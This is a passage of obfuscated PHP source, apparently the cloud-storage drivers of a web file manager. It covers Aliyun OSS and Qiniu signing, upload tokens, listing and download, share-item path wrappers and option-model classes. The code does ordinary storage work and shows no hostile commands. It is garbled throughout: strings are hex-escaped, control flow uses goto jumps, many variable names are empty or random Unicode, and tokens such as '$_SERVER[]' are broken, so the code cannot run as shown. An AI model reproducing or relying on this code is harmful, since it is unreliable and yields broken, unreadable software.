gmdate($[1402]); $͸ = isset($Ҷ[$[167]]) ? $Ҷ[$[167]] : $[12]; $ҵн = $; if (isset($Ҷ[$[95]])) { $ҵн = $Ҷ[$[95]]; unset($Ҷ[$[95]]); } if (isset($Ҷ[$[220]])) { $Ҷ[$[219]] = $淜; return $this->listUploadParts($ҵн, $Ҷ); } $ = array($[221], $[12], $[118], $淜, "\170\55\x6f\163\x73\x2d\144\141\164\x65\x3a{$淜}", $[8] . $this->bucket . $[8] . $ҵн . $͸); if (strpos($͸, $[222]) === 0) { $[0] = $[223]; if ($ = $this->trafficLimit($[1394])) { $ҵн = $[1403]; array_splice($, 5, 0, $ҵн . $[4] . $[$ҵн]); } } if (isset($Ҷ[$[224]]) && $Ҷ[$[224]] == $[225]) { $[0] = $[225]; } if (!empty($Ҷ[$[1404]])) { $ = array_merge(array($[4]), $Ҷ[$[1404]]); sort($); $[4] = implode($[226], $); } $ = implode($[226], $); $ի = base64_encode(hash_hmac($[227], $, $this->secret, !0)); $Ċ = $[1368] . $this->accessKey . $[4] . $ի; if (strpos($͸, $[222]) === 0) { $Ċ = array($[229] => $Ċ, $[219] => $淜); if ($) { $Ċ = array_merge($Ċ, $); } } return $Ċ; } public function listUploadParts($Ԓ, $֠) { $譠 =& $_SERVER[]; $¼ = parse_url_query($֠[$譠[167]]); $ = $this->client->listParts($this->bucket, $this->pathEncode($Ԓ), $¼[$譠[218]]); $ = $->getListPart(); $ = array(); foreach ($ as $ϔՔ) { $[] = array($譠[1388] => $ϔՔ->getPartNumber(), $譠[1389] => trim($ϔՔ->getETag(), $譠[117])); } unset($֠[$譠[220]], $֠[$譠[224]]); $ = $this->multiUploadAuthData($Ԓ, $֠); if (empty($)) { return !1; } return array($譠[229] => $, $譠[219] => $֠[$譠[219]], $譠[231] => $); } public function download($֐, $) { if ($this->isFolder($֐)) { return !1; } try { $ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $); $ = $this->trafficLimit($_SERVER[][110], $); $this->client->getObject($this->bucket, $this->pathEncode($֐), $); } catch (OSS\Core\OssException $ꮆɌ) { return !1; } return $; } public function fileSubstr($뽭, $ = 0, $ٰ = false) { if ($ === -1) { $¡ = array(); } else { if ($ٰ === !1) { $ܒ = $this->size($뽭); } else { $ܒ = $ + $ٰ - 1; } $¡ = array(OSS\OssClient::OSS_RANGE => "{$}\x2d{$ܒ}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($뽭), $¡); } catch (OSS\Core\OssException $ꙙ) { think_exception($ꙙ->getMessage()); return !1; } } private function trafficLimit($ù, $՗ = array()) { $ =& $_SERVER[]; if ($ù == $[1394] && $this->isUploadServer() || $ù == $[110] && $this->isFileOutServer()) { return $՗; } $ = floatval($GLOBALS[$[6]][$[90]][$[108]][$ù]) * 1024 * 1024 * 8; if (!$) { return $՗; } $ = $ < 819200 ? 819200 : ($ > 838860800 ? 838860800 : $); $՗[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($); return $՗; } public function link($ׯ, $ = array()) { $݌ =& $_SERVER[]; if (!$this->exist($ׯ) || $this->isFolder($ׯ)) { return !1; } try { $ = $this->trafficLimit($݌[110], $); $ = $this->client->signUrl($this->bucket, $this->pathEncode($ׯ), 3600 * 12, $݌[225], $); return $this->getCdnLink($); } catch (OSS\Core\OssException $) { return !1; } } public function fileOut($, $҈ˊ = false, $ = false, $ = '') { $ۤ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $҈ˊ, $, $); } if (!$) { $ = $this->pathThis($); } $ = rawurlencode($); $Λ = get_file_mime(get_path_ext($)); if ($Λ == $ۤ[212]) { return parent::fileOut($, $҈ˊ, $, $); } $҈ˊ = $҈ˊ ? $ۤ[1405] : $ۤ[1406]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $ۤ[1407] . rawurlencode("{$҈ˊ}\73\x66\x69\154\x65\x6e\141\x6d\145\75{$}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $ۤ[1408] . rawurlencode($Λ); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ݤ = false, $ = false, $݂ = '') { parent::fileOut($, $ݤ, $, $݂); } public function fileOutImage($史, $؁ˆ = 250) { $’ڮ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1409] . $؁ˆ); $ˊ = $this->link($史, $’ڮ); $this->fileOutLink($ˊ); } public function fileOutImageServer($ީ, $ɹԋ = 250) { parent::fileOutImage($ީ, $ɹԋ); } public function fileOutLink($) { $ =& $_SERVER[]; if (!$this->isCdnHost() && substr($, 0, 7) == $[1310]) { $ = $[1311] . substr($, 7); } header($[158] . $); die; } public function hashMd5($ս, $ϫ = '') { $ەگ =& $_SERVER[]; $ʾ = $this->_objectMeta($ս); if (!$ʾ) { return $ەگ[12]; } if (!isset($ʾ[$ەگ[1384]]) && !empty($ϫ)) { $ = $this->updateObjMeta($ս, array($ەگ[1384] => $ϫ)); $ʾ[$ەگ[1384]] = $ ? $ϫ : $ەگ[12]; } return isset($ʾ[$ەگ[1384]]) ? strtolower($ʾ[$ەگ[1384]]) : $ەگ[12]; } public function size($ط) { $ = $this->objectMeta($ط); return $ ? $[$_SERVER[][80]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($׼) { return !$this->isFolder($׼) && $this->objectMeta($׼); } public function isFolder($) { return $this->cacheMethod($_SERVER[][198], $); } protected function objectMeta($Lj) { return $this->cacheMethod($_SERVER[][199], $Lj); } protected function _objectMeta($𑤢Ф) { $ω =& $_SERVER[]; try { $ċ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($𑤢Ф)); } catch (OSS\Core\OssException $) { $ċ = !1; } if ($ċ) { $ċ[$ω[80]] = intval($ċ[$ω[1382]]); } return $ċ; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ޔ = array($[1378] => $[8], $[1379] => rtrim($, $[8]) . $[8], $[1380] => 1, $[1381] => $[12]); $ѧ = $this->client->listObjects($this->bucket, $ޔ); if ($ѧ->getObjectList() || $ѧ->getPrefixList()) { return !0; } return !1; } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $config = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public function __construct($И) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1410]; $this->_init($И); } public function _init($֥֗) { $ =& $_SERVER[]; foreach ($֥֗ as $Œ => $) { if (isset($this->{$Œ})) { $this->{$Œ} = $; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1411] . LNG($[1369])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->config = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->config); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($, $敭 = '', $Ԣݶ = REPEAT_RENAME) { if ($this->setContent($, $敭)) { return $this->getPathOuter($); } return !1; } public function mkdir($Ȭ, $ҕ = REPEAT_SKIP) { $هƛ =& $_SERVER[]; $ = trim($Ȭ, $هƛ[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $Ȭ = $ . $هƛ[8]; $dz = get_path_this($); $ = $Ȭ . $dz; if (!$this->mkfile($)) { return !1; } if (!$this->moveFile($, $Ȭ)) { $this->delFile($); return !1; } return $this->getPathOuter($); } public function copyFile($, $·) { $ = $this->bucketManager->copy($this->bucket, $, $this->bucket, $·, !0); return $ ? !1 : $this->getPathOuter($·); } public function moveFile($Ḛ́, $) { $ӎ = $this->bucketManager->move($this->bucket, $Ḛ́, $this->bucket, $, !0); return $ӎ ? !1 : $this->getPathOuter($); } public function delFile($ğ) { if (!$this->exist($ğ)) { return !0; } $Ҝ = $this->bucketManager->delete($this->bucket, $ğ); return $Ҝ ? !1 : !0; } public function delFolder($㻮) { $ =& $_SERVER[]; if (!$this->exist($㻮)) { return !0; } $this->listItemCache = !1; $މ = $this->fileList($㻮); $this->listItemCache = !0; $ = trim($㻮, $[8]) . $[8]; if (!empty($㻮) && $㻮 !== $[190] && !in_array($, $މ[$[77]])) { $މ[$[77]][] = $; } $ĩ = $this->delByBatch($މ[$[76]]); if (!$ĩ) { return !1; } $ĩ = $this->delByBatch($މ[$[77]]); if (!$ĩ) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $􌔁) { $ = $this->bucketManager->buildBatchDelete($this->bucket, $􌔁); list($, $У) = $this->bucketManager->batch($); if ($У) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function fileInfo($, $ = false, $ = array()) { $ǭ =& $_SERVER[]; $󦼨 = array($ǭ[32] => $this->pathThis($), $ǭ[78] => $this->getPathOuter($ǭ[8] . $), $ǭ[33] => $ǭ[192], $ǭ[80] => isset($[$ǭ[1412]]) ? $[$ǭ[1412]] : 0, $ǭ[167] => $this->ext($)); if ($) { return $󦼨; } $󦼨[$ǭ[193]] = $󦼨[$ǭ[86]] = 0; $󦼨[$ǭ[194]] = $󦼨[$ǭ[195]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $󦼨; } } if (isset($[$ǭ[1413]])) { $󦼨[$ǭ[86]] = substr($[$ǭ[1413]] . $ǭ[12], 0, 10); } if (isset($[$ǭ[1412]])) { $󦼨[$ǭ[80]] = $[$ǭ[1412]]; } return $󦼨; } public function folderInfo($ˆ, $ = false) { $ݪ =& $_SERVER[]; $Ϯ = array($ݪ[32] => $this->pathThis($ˆ), $ݪ[78] => $this->getPathOuter($ݪ[8] . $ˆ), $ݪ[33] => $ݪ[79]); if ($) { return $Ϯ; } $Ϯ[$ݪ[193]] = $Ϯ[$ݪ[86]] = 0; $Ϯ[$ݪ[194]] = $Ϯ[$ݪ[195]] = !0; $ˆ = rtrim($ˆ, $ݪ[8]) . $ݪ[8]; $ = $this->objectMeta($ˆ); if (isset($[$ݪ[1413]])) { $Ϯ[$ݪ[86]] = substr($[$ݪ[1413]] . $ݪ[12], 0, 10); } return $Ϯ; } public function listPath($, $Ӽ = false) { $Ǧ =& $_SERVER[]; $ = $this->fileList($, $Ǧ[8], !0); foreach ($[$Ǧ[77]] as $ʳ => $) { $[$Ǧ[77]][$ʳ] = $this->folderInfo($, $Ӽ); } foreach ($[$Ǧ[76]] as $ʳ => $) { $[$Ǧ[76]][$ʳ] = $this->fileInfo($[$Ǧ[95]], $Ӽ, $); } return $; } public function has($, $¹ = false, $ޅ = true) { $ɾ =& $_SERVER[]; $ = trim($, $ɾ[8]); $ھݾ = empty($) && $ !== $ɾ[190] ? $ɾ[12] : $ . $ɾ[8]; $Ҫ = $ɾ[12]; $ = 500; $㺝 = $ɾ[8]; $ߓ = $ = 0; while (!0) { check_abort(); list($˚, $) = $this->bucketManager->listFiles($this->bucket, $ھݾ, $Ҫ, $, $㺝); if ($) { break; } $Ҫ = array_key_exists($ɾ[1381], $˚) ? $Ҫ = $˚[$ɾ[1414]] : $ɾ[12]; if ($¹) { if (!empty($˚[$ɾ[1415]])) { $ߓ += count($˚[$ɾ[1415]]); } if (!empty($˚[$ɾ[1416]])) { $ += count($˚[$ɾ[1416]]); } if ($Ҫ === $ɾ[12]) { break; } continue; } if ($ޅ) { if (!empty($˚[$ɾ[1415]])) { return !0; } } else { if (!empty($˚[$ɾ[1416]])) { return !0; } } if ($Ҫ === $ɾ[12]) { break; } } if ($¹) { return array($ɾ[202] => $ߓ, $ɾ[203] => $); } return !1; } public function listAll($) { $ٚƴ =& $_SERVER[]; $ަ = $this->fileList($, $ٚƴ[12], !0); $ɝա = array(); foreach ($ަ[$ٚƴ[76]] as $) { $ɝա[$[$ٚƴ[95]]] = $[$ٚƴ[80]]; } foreach ($ަ[$ٚƴ[77]] as $) { if (is_string($)) { $ɝա[$] = 0; } } return $this->listAllFiles($, array_keys($ɝա), $ɝա); } private function fileList($糂, $Ȼ = '', $䭡 = 0) { $ =& $_SERVER[]; $糂 = trim($糂, $[8]); $ݠ = empty($糂) && $糂 !== $[190] ? $[12] : $糂 . $[8]; $ص = $[12]; $ = 1000; $ = $this->listItemCache === !1 ? !1 : !0; $ = $ԙд = array(); while (!0) { check_abort(); list($α, $͖) = $this->bucketManager->listFiles($this->bucket, $ݠ, $ص, $, $Ȼ); if ($͖) { break; } $ص = array_key_exists($[1381], $α) ? $ص = $α[$[1414]] : $[12]; $޶ = isset($α[$[1415]]) ? $α[$[1415]] : array(); $ = isset($α[$[1416]]) ? $α[$[1416]] : array(); foreach ($޶ as $) { if ($[$[95]] == $ݠ) { continue; } $û = $[$[95]]; $ = $[$[1412]]; $[$[80]] = $; $𜒕 = $ == 0 && substr($û, strlen($û) - 1, 1) == $[8] ? !0 : !1; if ($) { $this->cacheMethod($[198], $û, $𜒕); $this->cacheMethod($[199], $û, $); } if ($𜒕) { $[] = $û; continue; } $ԙд[] = $䭡 ? $ : $û; } foreach ($ as $û) { if ($û == $ݠ) { continue; } $[] = $û; if ($) { $this->cacheMethod($[198], $û, !0); } } if ($ص === $[12]) { break; } } if ($) { $this->cacheMethod($[198], $糂, !0); } return array($[77] => $, $[76] => $ԙд); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($턮) { return $this->fileSubstr($턮, 0, -1); } public function setContent($ʗ, $ = '') { $ݠ = $this->tempFile($this->pathThis($ʗ)); file_put_contents($ݠ, $); if ($this->upload($ʗ, $ݠ)) { $this->tempFileRemve($ݠ); return !0; } return !1; } public function refreshUrls($) { $ץ =& $_SERVER[]; $֟ = array(); if (is_array($)) { foreach ($ as $) { $֟[] = $this->link($); } } else { $֟[] = $this->link($); } $ = new Qiniu\Cdn\CdnManager($this->auth); list($, $Ȕ) = $->refreshUrls($֟); if ($Ȕ) { return !1; } return $[$ץ[1168]] == $ץ[753] ? !0 : !1; } public function fileSubstr($, $М, $ܥ) { $ =& $_SERVER[]; if (!($ۙ = $this->link($))) { return !1; } $ = !1; if ($ܥ > 0) { $ = $М + $ܥ - 1; $ = array($[1417] . $М . $[460] . $); } $լ׉ = url_request($ۙ, $[225], !1, $); return $լ׉[$[743]] ? $լ׉[$[1178]] : !1; } public function upload($, $, $Χ = false, $‡μ = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ǚ = $this->auth->uploadToken($this->bucket, $); $ = get_file_mime(get_path_ext($)); list($, $Ж) = $->putFile($ǚ, $, $, null, $); return $Ж ? !1 : $this->getPathOuter($); } public function uploadFormData($, $ = 3600) { return $this->uploadToken($, $); } public function multiUploadFormData($׏, $ڿ = 3600) { return $this->uploadToken($׏, $ڿ); } private function uploadToken($ϔ, $߲؀ = 3600) { $ =& $_SERVER[]; $Ց = $߲؀; $Ȳ = array($[1418] => $[1419]); $襖Ɍ = $ϔ; $ = $this->auth->uploadToken($this->bucket, $襖Ɍ, $Ց, $Ȳ, !0); $ = empty($this->region) || $this->region == $[1420] ? $[12] : $[460] . $this->region; $ = http_type() . "\x3a\57\x2f\165\160\x6c\157\x61\x64{$}\56\161\x69\156\x69\x75\x70\x2e\143\157\x6d\x2f"; return array($[1421] => $, $[1422] => $); } public function download($, $꽨) { $ = IO::getPathInner(IO::mkfile($꽨)); if (!($ = $this->link($))) { return !1; } $Εɹ = 0; $ = 1024 * 200; $ߤ = fopen($, $_SERVER[][1423]); while (!0) { $ = $this->fileSubstr($, $Εɹ, $); if ($ === !1) { return !1; } fwrite($ߤ, $); $Εɹ += $; if (strlen($) < $) { break; } } fclose($ߤ); return $꽨; } public function link($ק, $ӌ = '') { if (!$this->isFile($ק)) { return !1; } $㾈 = $this->getHost() . $_SERVER[][8] . $this->pathEncode($ק) . $ӌ; return $this->auth->privateDownloadUrl($㾈, 3600 * 12); } public function fileOut($ڗ, $ = false, $ݭ = false, $Ҥ = '') { $ğ윦 =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($ڗ, $, $ݭ, $Ҥ); } if (!$ݭ) { $ݭ = $this->pathThis($ڗ); } $śĴΓ = $ ? $ğ윦[1424] . rawurlencode($ݭ) : $ğ윦[12]; $޲ = $this->link($ڗ, $śĴΓ); $this->fileOutLink($޲); } public function fileOutServer($Ä, $Ѻ = false, $ = false, $Յ = '') { parent::fileOut($Ä, $Ѻ, $, $Յ); } public function fileOutImage($, $Ȗ = 250) { $ȵ = $this->link($, $_SERVER[][1425] . $Ȗ); $this->fileOutLink($ȵ); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($Ɩ) { $Ѕ =& $_SERVER[]; $ܖ = $this->objectMeta($Ɩ); return isset($ܖ[$Ѕ[207]]) ? $ܖ[$Ѕ[207]] : !1; $ԣ = $this->link($Ɩ, $Ѕ[1426]); } public function size($) { $ʺ = $this->objectMeta($); return $ʺ ? $ʺ[$_SERVER[][80]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($β˜) { return $this->isFile($β˜) || $this->isFolder($β˜); } public function isFile($ʏ) { return !$this->isFolder($ʏ) && $this->objectMeta($ʏ); } public function isFolder($) { return $this->cacheMethod($_SERVER[][198], $); } protected function objectMeta($ӫ) { return $this->cacheMethod($_SERVER[][199], $ӫ); } protected function _objectMeta($) { $ȹ =& $_SERVER[]; list($, $Э) = $this->bucketManager->stat($this->bucket, $); if ($) { $[$ȹ[80]] = intval($[$ȹ[1412]]); } return $; } protected function _isFolder($ᴼ) { $ =& $_SERVER[]; if ($ᴼ == $[12] || $ᴼ == $[8]) { return !0; } list($Ϗ, $) = $this->bucketManager->listFiles($this->bucket, trim($ᴼ, $[8]) . $[8], $[12], 1, $[8]); return !empty($Ϗ[$[1415]]) || !empty($Ϗ[$[1416]]) ? !0 : !1; } } goto d; C: class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($޳, $䆂) { $ꬷ =& $_SERVER[]; if (method_exists($this, $޳)) { return; } $̤̾ = call_user_func_array(array($ꬷ[1322], $޳), $䆂); $ = array($ꬷ[1323], $ꬷ[1324], $ꬷ[1325], $ꬷ[1326], $ꬷ[549], $ꬷ[551], $ꬷ[1327], $ꬷ[108], $ꬷ[1328], $ꬷ[1329]); if (in_array($޳, $)) { $̤̾ = $this->getPathOuter($̤̾); } return $̤̾; } public function copy($ͦ, $ґ, $ = false, $ˋȔ = false) { return $this->copyMove($ͦ, $ґ, $, $_SERVER[][549], $ˋȔ); } public function move($, $ಏ, $ = false, $ = false) { return $this->copyMove($, $ಏ, $, $_SERVER[][551], $); } private function copyMove($ʨ, $ĕ, $, $Ӵ, $ٸ = false) { $Ҡ̐ =& $_SERVER[]; $ = $ĕ; $ = IO::driverMake($ĕ); if ($->pathParse[$Ҡ̐[1138]]) { $ĕ = $->pathParse[$Ҡ̐[1138]]; } else { $ĕ = $; } $ = IO::copyMove($ʨ, $ĕ, $, $Ӵ, $ٸ); $ = $this->getPathOuter($); return $; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][78]]); } public function pathFather($Þ) { return get_path_father($this->pathParse[$_SERVER[][78]]); } public function iconvSystem($Ħꔠ) { return $Ħꔠ; } protected function infoParse($Ɂ, $ = false) { $Ь =& $_SERVER[]; $ = $this->pathParse[$Ь[486]][$Ь[1161]] . $this->pathParse[$Ь[1154]]; if ($) { $뢽 = IO::infoWithChildren($); } else { $뢽 = IO::info($); } $ڈ = $this->pathParse[$Ь[486]]; return Action($Ь[1320])->_shareItemeParse($뢽, $ڈ); } public function listAll($؎) { $ԭ =& $_SERVER[]; $ӡ = IO::listAll($؎); $Ȅ = $this->pathParse[$ԭ[486]]; foreach ($ӡ as &$) { check_abort(); $ = IO::info($[$ԭ[78]]); $ = is_array($) ? $ : array(); $ = array_merge($, $); $[$ԭ[87]] = Action($ԭ[1320])->_shareItemeParse($, $Ȅ); } unset($); return $ӡ; } public function getPathOuter($) { $㚴ϙ =& $_SERVER[]; $ = KodIO::parse($); if ($[$㚴ϙ[33]] == KodIO::KOD_SHARE_ITEM) { return $[$㚴ϙ[78]]; } $ = KodIO::clear($); $𲈀 = KodIO::clear($this->pathParse[$㚴ϙ[486]][$㚴ϙ[1161]]); $Ƙ = substr($, strlen($𲈀)); if (substr($, 0, strlen($𲈀)) != $𲈀) { return !1; } return $this->pathParse[$㚴ϙ[1155]] . $㚴ϙ[8] . ltrim($Ƙ, $㚴ϙ[8]); } public function getType() { $ =& $_SERVER[]; $Ě = str_replace($[74], $[12], get_class($this)); return strtolower($Ě); } public function isTypeObject($꠹”) { return IO::isTypeObject($꠹”); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($â) { return $this->infoParse($â); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($֟) { $this->pathParse = $֟; } protected function infoParse($ک, $҄ = false) { $Ӎ =& $_SERVER[]; return Action($Ӎ[1160])->sharePathInfo($this->pathParse[$Ӎ[78]], !0, $҄); } public function listPath($Սٸ, $؃ = false) { $ =& $_SERVER[]; $۪ = IO::listPath($Սٸ, $؃); if (!$۪) { return $۪; } if (is_array($۪[$[1321]])) { $ٽ = Action($[1330])->parsePathChildren($۪[$[1321]], array($[422] => $Սٸ)); $۪[$[1321]] = Action($[1160])->shareItemInfo($ٽ); } foreach ($۪ as $ => $ˢմ) { if (!in_array($, array($[76], $[77]))) { continue; } foreach ($ˢմ as $ => $ٽ) { $ٽ = Action($[1330])->parsePathChildren($ٽ, array($[422] => $Սٸ)); $۪[$][$] = Action($[1160])->shareItemInfo($ٽ); } } return $۪; } public function listAll($޷) { $ =& $_SERVER[]; $͓ = IO::listAll($޷); foreach ($͓ as &$񴷧) { $ݖ = IO::info($񴷧[$[78]]); $ݖ = is_array($ݖ) ? $ݖ : array(); $񴷧 = array_merge($ݖ, $񴷧); $񴷧[$[87]] = Action($[1160])->shareItemInfo($񴷧); } unset($񴷧); return $͓; } } class PathDriverEDS extends PathDriverMinIO { public function __construct($) { parent::__construct($); } } goto bٲ; B: class ModelBaseLight { public $optionType = ''; public $modelType = "\123\x79\x73\164\x65\155\117\160\x74\151\x6f\156"; public $field = array(); public function listData($Գ = false, $ = "\x6d\x6f\x64\x69\x66\171\x54\151\x6d\145", $ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ю˟ = array_values($); if ($ю˟ && $ю˟[0] && !is_array($ю˟[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $Գ ? null : array(); } if (!$Գ) { $ = array_filter(array_values($)); return array_sort_by($, $, $); } return $[$_SERVER[][398] . $Գ]; } public function insert($φ) { $ =& $_SERVER[]; $φ = array_field_key($φ, $this->field); $ڸ = Model($this->modelType)->get($[399], $this->optionType . $[400]); $ڸ = $ڸ ? $ڸ : 0; $φ[$[401]] = ++$ڸ; $φ[$[193]] = time(); $φ[$[86]] = time(); Model($this->modelType)->set($[399], $ڸ, $this->optionType . $[400]); Model($this->modelType)->set($[398] . $ڸ, $φ, $this->optionType); return $ڸ; } public function update($, $) { $ =& $_SERVER[]; $ = array_field_key($, $this->field); $¸ = $this->listData($); if (!$¸ || !$) { return !1; } $ = array_merge($¸, $); $[$[86]] = time(); return Model($this->modelType)->set($[398] . $, $, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[][398] . $, $this->optionType); } public function clear() { $؝ =& $_SERVER[]; Model($this->modelType)->remove($؝[399], $this->optionType . $؝[400]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $ć) { if (!$ć) { return !1; } $լ = $this->listData(); $լ = array_to_keyvalue($լ, $); return isset($լ[$ć]) ? $լ[$ć] : !1; } public function findByName($Ҝت͍) { return $this->findByKey($_SERVER[][32], $Ҝت͍); } protected function resetData($ߞ) { $隄 =& $_SERVER[]; $ߞ = is_array($ߞ) ? $ߞ : array(); $򭸉 = array(); for ($ˡ = 0; $ˡ < count($ߞ); $ˡ++) { $򭸉[$隄[398] . $ߞ[$ˡ][$隄[401]]] = $ߞ[$ˡ]; } return Model($this->modelType)->set($򭸉, !1, $this->optionType); } private function getAutoName($) { $튵 = array_to_keyvalue($this->listData(), $_SERVER[][32]); if (!$튵 || !isset($튵[$])) { return $; } for ($ӕ = 1; $ӕ < count($튵); $ӕ++) { $ = $ . "\x28{$ӕ}\51"; if (!isset($튵[$])) { return $; } } return $; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($٥ = false, $ȁ = '', $Τ = false) { $ =& $_SERVER[]; $ = $this->cacheGet($ȁ); $;ᆽ = $this->optionDefault($ȁ); $;ᆽ = is_array($;ᆽ) ? $;ᆽ : array(); if (is_array($)) { $ = array_merge($;ᆽ, $); return $٥ ? isset($[$٥]) ? $[$٥] : null : $; } $ = $this->filterWhere(array($[33] => $ȁ)); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[95], $[369]); foreach ($ as $ => $) { if ($Τ || in_array($, $this->jsonField)) { $[$] = json_decode($, !0); } } $this->cacheSet($ȁ, $); $ = array_merge($;ᆽ, $); return $٥ ? $[$٥] : $; } public function set($˰, $ɬ = false, $ = '') { $̭ӥ =& $_SERVER[]; $this->cacheRemove($); $ָΞ = array(); $̆ = is_array($˰) ? $˰ : array($˰ => $ɬ); foreach ($̆ as $֢ => $𮜳) { if (is_array($𮜳)) { $𮜳 = json_encode_force($𮜳); } $this->checkLength($𮜳, !1, $this->tableName . $̭ӥ[4] . $˰); $𮜳 = self::textEncode($𮜳); $̆ = array($̭ӥ[33] => $, $̭ӥ[95] => $֢, $̭ӥ[369] => $𮜳); $ָΞ[] = $this->filterWhere($̆); } if (!$ָΞ) { return !0; } return $this->addAll($ָΞ, array(), !0); } protected function optionDefault($Ŧ = '') { return !1; } public function setDeep($ʮп, $ڛ = false, $ = '') { $У = explode($_SERVER[][10], $ʮп); $ɕŭʐ = $this->get(); array_set_value($ɕŭʐ, $ʮп, $ڛ); $this->set($У[0], $ɕŭʐ[$У[0]], $); } public function remove($, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ٿ = $this->filterWhere(array($[95] => $, $[33] => $)); if (is_null($)) { unset($ٿ[$[95]]); } return $this->where($ٿ)->delete(); } public function cacheSet($, $ = false) { return Cache::set($this->cacheKey($), $); } public function cacheGet($) { return Cache::get($this->cacheKey($)); } public function cacheRemove($Ϩ) { return Cache::remove($this->cacheKey($Ϩ)); } protected function filterWhere($) { return $; } protected function cacheKey($ۈ) { return $ۈ; } } class SourceListModel extends ModelBase { protected $tableName = "\151\157\137\163\157\165\162\x63\145"; protected $tableMeta = array("\x74\141\142\154\x65\116\141\155\x65" => "\x69\x6f\137\163\x6f\165\162\x63\x65\x5f\155\145\x74\x61", "\x6d\145\164\x61\106\x69\145\x6c\x64" => "\163\x6f\165\x72\143\x65\x49\104"); protected $dataAuto = array(array("\x6d\x6f\144\151\x66\x79\124\x69\x6d\x65", "\x74\x69\155\x65", "\x69\156\x73\145\162\x74", "\146\165\x6e\143\164\x69\157\156"), array("\143\162\145\141\164\x65\124\x69\x6d\145", "\164\151\155\145", "\x69\156\x73\x65\x72\x74", "\146\x75\156\143\164\151\x6f\156"), array("\166\x69\145\167\x54\x69\x6d\145", "\164\x69\x6d\145", "\151\156\163\145\162\x74", "\146\165\x6e\x63\164\x69\157\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[][402] => $)); } public function typeName($յ) { static $˚ = array(self::TYPE_SYSTEM => "\163\171\163\x74\x65\155", self::TYPE_USER => "\x75\x73\x65\x72", self::TYPE_GROUP => "\147\162\157\x75\x70"); return $˚[$յ . $_SERVER[][12]]; } public function sourceListInfo($婣, $ۜـ = false) { $ּ =& $_SERVER[]; $婣 = $婣 ? $婣 : array(); $婣 = array_filter(array_unique($婣)); if (!$婣) { return array(); } $ēܹ = $this->where(array($ּ[403] => array($ּ[7], $婣)))->select(); $this->_listDataApply($ēܹ, $ۜـ); return array_to_keyvalue($ēܹ, $ּ[403]); } public function pathInfoFilter(&$짽) { $ =& $_SERVER[]; static $ʸ = false; static $ = false; static $ = false; if (!$ʸ) { $ȭ = $[404]; $ȭ .= $[405]; $ȭ .= $[406]; $ڿ˲ = $[407]; $İ = explode($[50], $ڿ˲); $ʸ = explode($[50], $ȭ); $ = array(); foreach ($ʸ as $Յ) { if (in_array($Յ, $İ)) { continue; } $[] = $Յ; } $ = explode($[50], $[408]); } foreach ($ as $۸) { if (isset($짽[$۸])) { $짽[$۸] = intval($짽[$۸]); } } $짽[$[78]] = $[409] . $짽[$[403]] . $[410]; $짽[$[33]] = $짽[$[411]] == 1 ? $[79] : $[192]; $짽[$[412]] = $this->typeName($짽[$[412]]); if ($짽[$[411]] != 1) { $짽[$[167]] = $짽[$[413]]; unset($짽[$[413]]); } $ݜ = $ʸ; if (isset($짽[$[414]]) && $짽[$[414]][$[415]] == -1) { $ݜ = $; } $짽 = array_field_key($짽, $ݜ); return $짽; } public function listUserFav() { $Dz =& $_SERVER[]; $Г = 